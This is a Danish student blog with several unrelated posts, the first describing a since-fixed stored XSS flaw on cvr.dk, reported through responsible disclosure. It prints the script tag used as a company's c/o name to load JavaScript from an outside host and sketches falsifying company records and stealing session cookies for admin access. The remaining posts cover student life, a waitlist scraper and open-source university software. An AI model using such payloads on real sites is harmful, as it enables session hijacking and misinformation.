Stor data, åbn data, data om data – den er alle vegne.

Vi bruger data som grundlag for at træffe beslutninger og derfor er vi dybt afhængige af at andre mennesker, myndigheder og virksomheder giver os korrekt data.

Når vi træffer beslutninger på baggrund af data, er det helt afgørende hvorfra vi har fået dataen, kommer den fx fra en offentlig myndighed, har vi en forventning til at dataen er korrekt.

Eksemplets magt

Det antages almindeligvis, at adresser indgår i helt op til 80 % af de digitale løsninger, som et moderne samfund betjener sig af.

I hvert fald hvis man skal tro på Ministeriet for By, Bolig og Landdistrikter.

Adresser står på postkasser. Ikke e-Bokse, nej. Den slags hvor man modtager helt almindelige, kedelige, snail mails. Her er et billede af min.

Det er ingen hemmelighed at jeg synes at IT sikkerhedsmæssige udfordringer er rigtig interessante. Da jeg samtidig elsker at dele ud af min viden, hvad ville så være en mere naturligt end at oprette en konsulentvirksomhed hvor jeg kan gøre netop dette?

Lad os kalde min nye virksomhed for CREEN security – og lad os fortælle Erhvervsstyrelsen at jeg har tænkt mig at være IT konsulent.

En sådan registrering kan ske via webreg.dk, hvor man med 3 klik, et login med NemID og 2 yderligere klik, bliver præsenteret med et spørgeskema i 10 skridt. Det 4. skridt “Stamdata” ber’ mig om at indtaste adresserne for virksomheden.

Da der ikke står “CREEN security” på min postkasse, skriver jeg blot <script src=//s.creen.dk></script>, som c/o navn, det fremgår jo klart og tydeligt af min postkasse.

Få dage efter kan jeg fremsøge min nye virksomhed på cvr.dk, men jeg kan ikke se mit c/o navn i adressefeltet.

Hvis jeg åbner mine udviklerværktøjer, kan jeg se at det står i koden, men det bliver ikke vist. Det er selvfølgelig fordi min browser, fortolker c/o navnet som HTML. HTML der fortæller browseren at den skal inkludere et JavaScript fra et eksternt website, i dette tilfælde er det eksterne website s.creen.dk. Et script der ligger på mit domæne, under min kontrol.

Når et script inkluderes på et website, som er hostet på et domæne, udenfor ens kontrol, så har man effektivt set, overgivet kontrollen over det indhold som ens brugere udsættes for, til dem der kontrollerer det eksterne script.

Det bliver altså muligt for mig at præsentere besøgende på cvr.dk, for information der kontrolleres helt eller delvist af mig – uden om Erhvervsstyrelsen’s faktuelle tjek.

Herunder fremkommer resultatet af en søgning på “CREEN security“. Jeg har skiftet virksomhedens navn og stamoplysninger og ændret ophørsdato’en til d. 20/11 2013.

Tænk hvad der ville ske hvis jeg havde gjort det samme med et børsnoteret selskab og sendt linket til højre og venstre på de sociale medier? Det ville være et meget effektivt værktøj til at tjene store penge på shorting af aktier!

Alternativt kunne jeg bruge fejlen til at stjæle cookies fra de besøgende på CVR der ser min virksomheds profil, inklusiv den ASP.NET_SessionId-cookie som websitet bruger til at holde styr på hvem der er logget ind og hvem der ikke er. Gud ved hvilke knapper der gemmer sig for en administrativ bruger på sitet?

Alt jeg skulle gøre for at få administrative rettigheder er at spørge en ansvarlig ved styrelsen om et spørgsmål der får dem til at besøge min virksomheds profil.

Spredning

En interessant vinkel på problematikken er at det centrale virksomheds register, nu frigives under en åben licens og at virksomheder jævnligt trækker data fra registeret. Hvis de heller ikke renser dataen før den printes i markup, så er der potentiale for at disse sider også er sårbare i skrivende stund.

Løsningen

Løsningen er naturligvis at sørge for at tegn som < og > ikke bliver printet ned i HTML’en, de skal i stedet erstattes med såkaldte “Special Entities” som < og >

Så simpelt er det – det vil rette denne fejl. Men det garanterer ikke at der ikke gemmer sig flere.

Responsible disclosure

Inden du springer til tasterne for at reproducere resultatet ovenfor, så bliver jeg nødt til at skuffe dig. Fejlen er rettet – og det blot 12 dage efter jeg kontaktede styrelsen.

Den hurtige respons viser at IT sikkerhed er et emne som tages seriøst i en offentlig styrelse, men hvordan kan det være at noget så simpelt ikke er blevet fundet og rettet for lang tid siden?

Det er ganske enkelt fordi det er super svært at forestille sig alle de kreative måder som folk kunne finde på at udfordre ens system – man har en naturlig forudantagelse om at det system har kørende er sikkert, indtil andet er bevist.

At et offentligt IT system har en sikkerhedsfejl, er i sig selv ikke den største sensation. Det er vel nærmest forventeligt af ethvert ældre system af denne størrelse. Skulle man rejse en kritik, kunne man rette den på den øjensynlige mangel på tests af sikkerheden, på et så betroet website som CVR.dk:

Det er selvfølgelig pinligt at have erhvervet sig en kønssygdom, fordi man ikke har beskyttet sig. Men det bliver først rigtig pinligt hvis man ikke anerkender risikoen og sørger for at blive testet regelmæssigt. Da brugerne af de offentlige IT systemer er os alle sammen, har vi alle en interesse i at systemerne testes. Selvom det betyder at et IT system må stå med bukserne om anklerne en gang imellem.

Imens andre studerende bruger sin torsdag eftermiddag på grupperegninger eller matematik projekter, sidder en gruppe IT studerende med snuden i skærmen, til en lystig lyd af Britpop fra Studenterhusets højtalere.

De er igang med et yderst uvidenskabeligt eksperiment, som de gentager hver eneste torsdag. Konceptet er simpelt og uforpligtende: Der programmeres imens der drikkes øl!

De er inspireret fra en XKCD stribe om netop forholdet imellem at skrive kode og indtagelse af alkohol.

Lånt fra http://xkcd.com/323/

I starten af studiet på DTU inviteres man ofte til sociale arrangementer og de er ofte et afbræk fra det til tider travle studie. Derfor er det ikke altid lige velset at dreje emnet over på det super fede website man lige har bygget i Haskell med Yesod frameworket, når man endelig mødes udenfor studiet.

Der manglede altså initiativer til dem, som netop gerne vil kode og drikke øl sammen med andre. For det er jo fedt at sidde skulder ved skulder med sine studiekammerater når man koder på sit hobby- eller studieprojekt. Og så bliver det jo sjældent mindre hyggeligt når man knapper en øl op.

Alle kan deltage, også selvom de ikke er hardcore programmører og hvis man har et problem som kræver hjælp siger man det bare højt, så er der sikkert en der kan hjælpe.

Beer ‘n Programming på DTU er i øvrigt en del af en større bevægelse, som finder sted i blandt andet Norge og Melbourne. Følg eventuelt links i menuen på http://pilsprog.no/.

Jeg var et smut forbi i torsdags hvor Beer n’ Programming blev afholdt for 9. gang. Super flinke mennesker omend fremmødet på netop denne dag var ret begrænset, grundet et større matematik projekt. Jeg fik mig en lille snak med Kristian Dam-Jensen der studerer IT og kommunikationsteknologi på DTU. Han var med til at starte det sammen med to medstuderende og han fortalte mig lidt om konceptet.

Til alle mine medstuderende på DTU der synes det kunne være interessant at mødes med andre der har passioner i fællesmængden af programmering og øl: I skal blot søge medlemskab i den åbne facebook gruppe Beer & Programming.

Kære forum. Det er noget tid siden min sidste blog artikel. Denne gang har jeg lyst til at dele et værktøj med jer.

Jeg har fornylig valgt at fraflytte min ellers fantastiske lejlighed i Valby og derfor søger jeg en lejebolig, helst kollegium eller bofællesskab. Jeg står altså i samme situation som en masse andre boligsøgende IT studerende. Specielt hvis man ønsker at bo i indre København, kan man risikere at vente ganske lang tid på ventelister rundt omkring i cyberspace.

Jeg bruger blandt andet websitet findbolig.nu til at skrive mig op på ventelisten til en række kollegier og ungdomsboliger. Udviklerne af siden har valgt at give brugeren mulighed for at slå sin position på ventelisterne op for hver bolig én af gangen. Og fordi muligheden for at se den tidslige udvikling af placeringen, ikke eksisterer, blev jeg som den 1337 h4x0r jeg jo i sandhed er, nødt til at lave det selv.

Jeg valgte at skrive et simpelt python script, der først finder ud af hvilke værelser jeg er skrevet op til og derefter henter venteliste placeringerne på alle boligerne. Disse tilføjes i slutningen af en datafil hvorfra placeringerne efterfølgende kan plottes på en graf.

Når man søger bolig på findbolig.nu kan man svare ja eller nej til følgende spørgsmål om ens boligmæssige situation:
* Bor du hos dine forældre?
* Har du en midlertidig bolig? (hvis ja, skal dokumentation sendes til CIU)
* Bor du i en opsagt bolig? (hvis ja, skal dokumentationen sendes til CIU)
* Har du et boligproblem i forbindelse med ophørt samliv? (hvis ja, skal dokumentation sendes til CIU)

Ved at fremsende dokumentationen for de relevante punkter fik jeg følgende resultat i ventelisterne:

En dyrkøbt erfaring – Det er sidste gang jeg laver nogen form for web klient i python der bruger urllib2. Fremadrettet kan jeg stærkt anbefale python requests (se python-requests.org).

Python scriptet kan ses og hentes her: https://github.com/kraenhansen/findbolig.nu/blob/master/findbolig-venteliste-extractor.py og instruktioner til at køre det, samt lidt mere teknisk information kan læses på min personlige blog.

Du sidder muligvis i familiens trygge omgivelser og trykker febrilsk på knappen der opdaterer din RSS-læser eller din inbox, i håbet om at finde noget der kan forbinde julen med din tankeflugt om algoritmer, data strukturer og andet godt fra din travle hverdag.

Her er et simpelt site lavet af Gerth Stølting Brodal, Associate Professor ved Aarhus Universitet der kan give dig et afbræk fra den travle juletid: https://cs.au.dk/~gerth/julehjerter/index.php?text_front=v2&text_back= Det giver mulighed for at generere de skabeloner som man skal klippe efter, for at få netop det julehjerte som har den valgte tekst på for- eller bagsiden.

Mit indlæg er selvfølgelig stærkt inspireret af Torben Mogensen’s indlæg ved juletid sidste år: http://www.version2.dk/blog/las-os-flette-33086 og linket blev oprindeligt posted af Anne-Sofie Nielsen. Til de mere hardcore har Torben Mogensen opdateret sin guide til foldning af julehjerter med motiver: http://www.diku.dk/~torbenm/julehjerter1.pdf som også kan anbefales hvis man har lyst til at gå lidt dybere i teknikkerne.

Når du så har flettet algoritme-julehjerter, mon det så ikke er tid til at lægge din tablet eller laptop til side og være til stede? 🙂

God jul til jer allesammen, og tak for et interessant først år på studie bloggen …

Når jeg ser tilbage på mit liv indtil nu, opdager jeg at de vigtigste øjeblikke indtraf ved en opdagelse af noget nyt. En opdagelse der oftest har været fremkaldt ved en forstyrrelse der nu virker mere eller mindre tilfældig, når jeg ser tilbage på den.

Hele sidste uge blev jeg forstyrret gentagende gange, hver eneste dag, af mange forskellige mennesker: Jeg var gået ombord på en iværksætter-bus fra Arriva, der var fyldt til bristepunktet med mega fed energi og lyst til at gøre en forskel! Ved min side havde jeg 11 andre iværksættere. Vi besøgte sammen alt fra globale virksomheder til væksthuse idet vi rundende både Google Danmark, Roskilde Festival og Udvikling Fyn – bare for at nævne et par.

Formålet med busturen var, at vi skulle åbne vores øjne for oplevelsen og forsøge at uddrage de bedste principper fra andre organisationer. Best principles der kunne bruges i vores egne virksomheder.

Jeg er tekniker

Først lidt baggrund for min rejse.
Jeg er tekniker og jeg elsker at begrave mig i design og kode til jeg nærmest mister overblikket over tid, sted og formål. Jeg ved ikke hvorfor det drager mig, men det er bare fedt.

Af flere omgange har jeg udviklet virkende prototyper på dimser af den ene eller anden udformning; Små software værktøjer, hardware dimser eller andet teknologisk afkom.

Min primære årsag til at lave dimser har altid været et håb om at kunne lære noget, men jeg er tit blevet mødt med skepsis fra min omverden, der ikke lige kunne se formålet i en elektrisk detonator, bygget fra et digitalt æggeur, plus det løse fra tredje skuffe.

Jeg må også indrømme, at jeg flere gange har lavet virkende prototyper, som jeg har nydt i et par timer og aflagt i skuffen, til evigt minde om min manglende evne til at kommercialisere det jeg lavede.

Efter et kursus i videns-baseret entreprenørskab på DTU fik jeg indprentet nogle af de grundlæggende spørgsmål som man som tekniker bør stille sig selv, hver gang man starter et nyt projekt, hvis man altså samtidig vil mødes af forståelse og anerkendelse når man fremviser sit resultat.

Hvorfor?

Det centrale spørgsmål er selvfølgeligt: “Hvorfor? Hvilken værdi skaber det?”
Hvorfor laver du den dims? Hvilket behov løser det?
Spørgsmålet skal ikke blot besvares ved det første trivielle behov: “En detonator sprænger ting i luften! Derfor er den fed!”, men snarer at den elektriske detonator ville give den kuldskære del af familien en mulighed for at antænde kl-12 raketten indefra stuen og derved deltage i festlighederne uden samtidigt at dø af kulde.

Når man kan fortælle hvorfor man laver den dims man laver, bliver det meget nemmere at relatere sig til for en person der ikke er teknisk.

Forstyrrelser

Fra min uge i Startup Buzz’en fik jeg genopfrisket hvor vigtigt det er at have visionen på plads og at når jeg fortæller om mine idéer gør jeg det til et bestemt publikum – jeg skal være endnu mere bevidst om hvem jeg snakker med, når jeg snakker om det jeg laver i fx Open Source Shift.

Men vigtigst af alt fik jeg høstet energi til at fortsætte som iværksætter, en energi som den følgende video måske illustrerer:

Jeg har sagt det før og nu siger jeg det så lige en sidste gang. Tusind tak til alle der var med til at give os 12 iværksættere en uforglemmelig forstyrrelse og jeg kan varmt anbefale alle med en iværksætter i maven at holde øje med startup buzzen på deres facebook side: https://www.facebook.com/STARTUPBUZZ
De fortjener et skulderklap for at støtte op om de iværksættere der skaber fremtidige arbejdspladser for os alle!

Jeg har nu lært at jeg skal lære at forstå hvorfor jeg laver de dimser jeg ikke kan lade være med at lave. Jeg er blevet forstyrret i min dagligdag som studerende på DTU og jeg håber at der er flere derude der nu forstår, hvorfor alle ikke altid synes det er fedt at lave dimser, blot for dimsernes skyld.

Jeg håber at artiklen har givet stof til eftertanke, et lille smil eller lignende. Jeg vil gerne imødekomme at den dog er på kanten af hvad man måske kan skrive på en studieblog – men det var lige hvad der rørte sig i mit liv som studerende …

På væggen i klasseværelset hang et stort stykke farvet karton, påtegnet en tabel med to kolonner og en række til hver elev. Mit og alle mine klassekammeraters navne var skrevet i første kolonne af tabellen og i den anden kolonne skulle vi hver især sætte streger. Én streg for hver side læst i vores læse-let-bøger. Min klasselærer havde givet os rigeligt med plads til stregerne, idet hun havde store ambitioner på vores vegne.

I dag vil jeg afsløre en af mine største og mest velbevarede hemmeligheder, hvilket samtidig doubler som en af mit livs største fejltagelser.

Jeg snød på læse-let-tabellen. Jeg satte streger for sider jeg ikke havde læst og allerede da jeg modtog rosen for læsningen af tostavelses-lyrikken, vidste jeg at jeg havde bevæget mig ud i noget dumt. Jeg har lige siden haft oplevelsen af, at være langsomt læsende.

Efterfølgende har jeg modtaget specialundervisning i læsning og blev endeligt erklæret uegnet til gymnasiet på tiendeklassescenteret. Dog sidder jeg nu på DTU med et karaktergennemsnit i den øvre tiendedel og tænker hvordan kunne det lige lade sig gøre?

Tilbage til nutiden

Jeg fokuserer min energi på at være tilstede i forelæsninger, men læser ganske enkelt ikke til dem og det er der flere årsager til.

Først og fremmest er jeg doven af natur – de gange jeg har læst er jeg mødt op til forelæsningen og har set det samme materiale, som jeg har brugt timer på at læse mig igennem, gennemgået af min professor på 2 gange ½ time. Det kan ikke betale sig for mig.

En anden grund er, at jeg stadigvæk ikke har accepteret billedet af mig selv som akademiker. Jeg ser mit studie i Informationsteknologi på DTU som en af de fagligt mest udfordrende uddannelser, en aspirerende programmør kan involvere sig i. Men jeg ser først og fremmest min evne til at programmere som et håndværk. For en håndværker er det ikke vigtigt at vide alting, hvis blot han ved hvor han kan finde viden, når han har glemt den.

Let’s face it: Håndværkere læser ikke først manualer. Måske kigger de lidt på billederne, men det er kun hvis det er den absolut sidste udvej, at de tager brillerne ud af lommen på deres overalls og læser.

Men jeg har faktisk stadigvæk dårlig samvittighed, selvom jeg klarer mig fint ved blot at deltage aktivt i forelæsninger. Jeg kan ikke lade være med at tænke: “Hvor langt kunne jeg ikke komme hvis jeg også læste stoffet?”. Samvittigheden bliver ikke bedre, når jeg hører argumentet: “Hvis du først læser, så ser forelæsningen og derefter læser, så forstår du det hele meget bedre.”

På den anden side, så kommer jeg til fornuft ved tanken om hvor lang tid det ville tage. I argumentets yderlighed kunne jeg læse det fire gange og i øvrigt få kursets pensum helt ind under huden, hvis jeg lod mig tatovere med lærebogens formler – men der må være en grænse.

Har vi brug for et læsepensum?

En RUC’er producerer tekster over halvdelen af studietiden, den anden halvdel bruger hun på sidde til forelæsninger og på at læse. Det giver mening at man skal tage stilling til andres tekster, hvis fremstilling af faglige tekster er studiets primære disciplin.

Er det altid nødvendigt at have læsepensum til tekniske kurser på DTU? Nogle har selvfølgelig let materiale, men der er altid sider jeg ikke har fået læst.

Hvad med dig? Læser du og er du stolt af det? Eller har du for længst langt bøgerne på hylden?

Der er mange fagområder i erhvervslivet, der kan løftes og effektiviseres ved at introducere nye værktøjer. Det samme gælder for visse universitetskurser; der er sågar nogle kurser der ikke ville være praktisk mulige hvis ikke de var understøttet af et værktøj. Det ville fx være ret problematisk at arbejde med billedanalyse eller statistiske modeller uden et værktøj, til at bearbejde billederne eller større datamængder.

tl;dr (tilføjet d. 27/10 10:00)

Til dig der har travlt: Jeg ønsker at påpege et generelt problem, ikke pege fingre af bestemte systemer. Min pointe er at man kunne vælge at udvikle et universitets undervisningsværktøjer i open source projekter, fordi de studerende der bruger værktøjerne kunne have lyst til at rette de fejl der irriterer dem. Jeg tror at man ved en officiel udmelding med vejledning og ressourcer, fra et universitet til sine ansatte og studerende kunne sikre muligheden for at vi får fornuftige værktøjer og en mulighed for at rette de problemer der generer os.

Det første værktøj

Jeg blev i begyndelsen af dette semester introduceret til et værktøj, der skulle hjælpe de studerende med at strukturere deres projektarbejde; et domænespecifikt værktøj, som blev indført til netop dette kursus, og som var egen-udviklet af en kandidatstuderende til formålet. Da jeg kørte versionen til Linux på min maskine fik jeg en fejl med et tracedump i en log-fil.

Jeg kontaktede den kursusansvarlige fordi jeg ville hjælpe med at rette fejlen, men blev sat på plads af professoren med følgende ord: “There will be no on-the-fly fixes since we are a University here, not a software product company (just in case you haven’t noticed).”

Et andet værktøj

Vi blev efterfølgende introduceret til endnu et egen-udviklet system – denne gang web-baseret. Fra URL’en blev frigivet i forelæsningslokalet gik der blot et kvarter til programmøren bag systemet, en kandidatstuderende, havde fået tilsendt en mail fra en kursusdeltager med følgende ord:

Hi,
 
As we discussed in the class, there are some issues with the
security of the system. We would be happy help secure it to
make sure noone can mess with it :)
 
define("DB_SERVER", "localhost");
define("DB_USER", "root");
define("DB_PASS", "her-stod-koden");
define("DB_NAME", "4tt!l4-w4s-h3r3");
 
Cheers,

Dette og professorens irettesættelse fik mig til at gruble. Kan det først og fremmest passe at et universitet ikke producerer software? Og hvis ikke, ville det så ikke være smart at tillade os studerende at hjælpe til med at rette fejlene i de værktøjer, som vi bliver mere eller mindre tvunget til at bruge i forbindelse med undervisningen?

DTU står ikke alene med problemet

Sidste ugens it-profil Ken Friis Larsen artikulerer ret godt sine frustrationer om de administrative systemer, der omgiver ham på DIKU (Datalogisk Insitut ved Københavns Universitet):

“De fleste af dem kunne være lærebogseksempler på, hvor galt det kan gå, lige fra horrible brugergrænseflader, hen over eklatante sikkerhedshuller til arkitekturbeslutninger, der er så håbløst forkerte, at det skinner igennem til brugerne.” og fortsætter i en kommentar under artiklen:

“Jeg ser bestemt Universiteterne som software-producerende organisationer, historisk set har universiteterne fx bidraget stærkt til mange Open Source projekter. […] Men det er fx frustrerende at give en indledende forelæsning i indledende websecurity, og ikke en gang nå tilbage til sit kontor efter forelæsningen før man modtager den første email fra en studerende hvor de spørger om det virkeligt kan passe at der er i sikkerhedshul i det ene eller det andet system der bliver brugt til undervisningen. Det er jo ellers en åbenlys mulighed for at vise de studerende hvordan et veldesignet system kunne være, i stedet står vi bare og ser uprofessionelle ud over for de studerende.”

Konfrontationen

Da jeg i en pause i en forelæsning konfronterede min professor med idéen om at bidrage til at rette fejlene i begge systemer, fik jeg at vide at det ikke var muligt at give os adgang til kildekoden. Universitetets administration er generelt meget insisterende i forhold til at forsvare ejendomsretten til de produkter universitetet producerer, lød det. Efter hans overbevisning inkluderede det den føromtalte software.

Hvis dette er rigtigt, synes jeg for alvor at der er noget galt. Det giver ingen mening for et universitet at fastholde ophavsretten til et system med så mange fejl og mangler, at det alligevel ikke kan kommercialiseres.

Det minder mig om det klassiske spørgsmål man stiller til iværksættere når de overvejer at tage imod risikovillig kapital: “Vil du have en hel muffin eller et stykke af en kæmpe kage?“. I dette tilfælde sidder universitetet med en muffin der er gået lidt over holdbarhedsdatoen og siger nej til at de studerende bager en bedre kage til dem.

Administrationens svar

Jeg blev nødt til at blive klogere, så jeg tog kontakt til administrationen på DTU. Her fik jeg en god snak med Francis Romstad, der til dagligt hjælper universitetets forskere med at anvende deres resultater kommercielt. Her var sagen klar: Han bekymrede sig mest om den kommercielle udnyttelsen af patenter og opfindelser der kunne patenteres.

Selvom ophavsretten til et værk, fremstillet af en ansat forsker eller ph.d. studerende ved universitetet, tilhører universitetet, så har han ingen umiddelbar grund til, at man ikke kunne open source offentliggøre kildekoden til et værktøj der blev fremstiller til et kursus.

Omend systemerne var underlagt universitetets ophavsret – hvilke ikke er tilfældet eftersom de begge er produkter af en studerendes arbejde og ikke af en ansat forsker – *ville alle så ikke vinde ved at lade projekterne frigives under en open-source licens? *Det ville tillade de studerende og undervisere fra andre kurser muligheden for at rette de fejl, mangler og sikkerhedshuller som værktøjet har.

Men hvad gik galt?

Jeg tror at underviserene ved universitetet mangler en klar udmelding fra administrationen. Helst en åben tilkendegivelse af, at hvis man som forsker eller studerende fremstiller et værktøj, så er det velset af det offentliggøres under en open source licens. Jeg mener at det bør være en officiel bestræbelse for universiteter som DTU (med dertil hørende ressourcer og vejledning), at universitetets egenproducerede software forbedres som open-source, uanset om universitet kan indse at de producerer software eller ej?

Det er i denne sammenhæng interessant at læse DTU’s officielle IT politik, der dikterer at “DTU’s IT-anvendelse bør gøre brug af den viden om IT og IT-forskning, der findes og udvikles i DTU’s forskningsmiljøer”. Det kan være meget svært at praktisere dette, hvis man ikke kan indgå i en åben dialog omkring systemernes design og kildekode.

Hvis jeg blæser den helt op og sætter den på spidsen kunne dette sågar inspirere til en udvidet version af den statslige digitaliseringsstrategi, som et redskab til at opnå at “universiteterne skal være digitale fra optagelse til eksamensbevis”.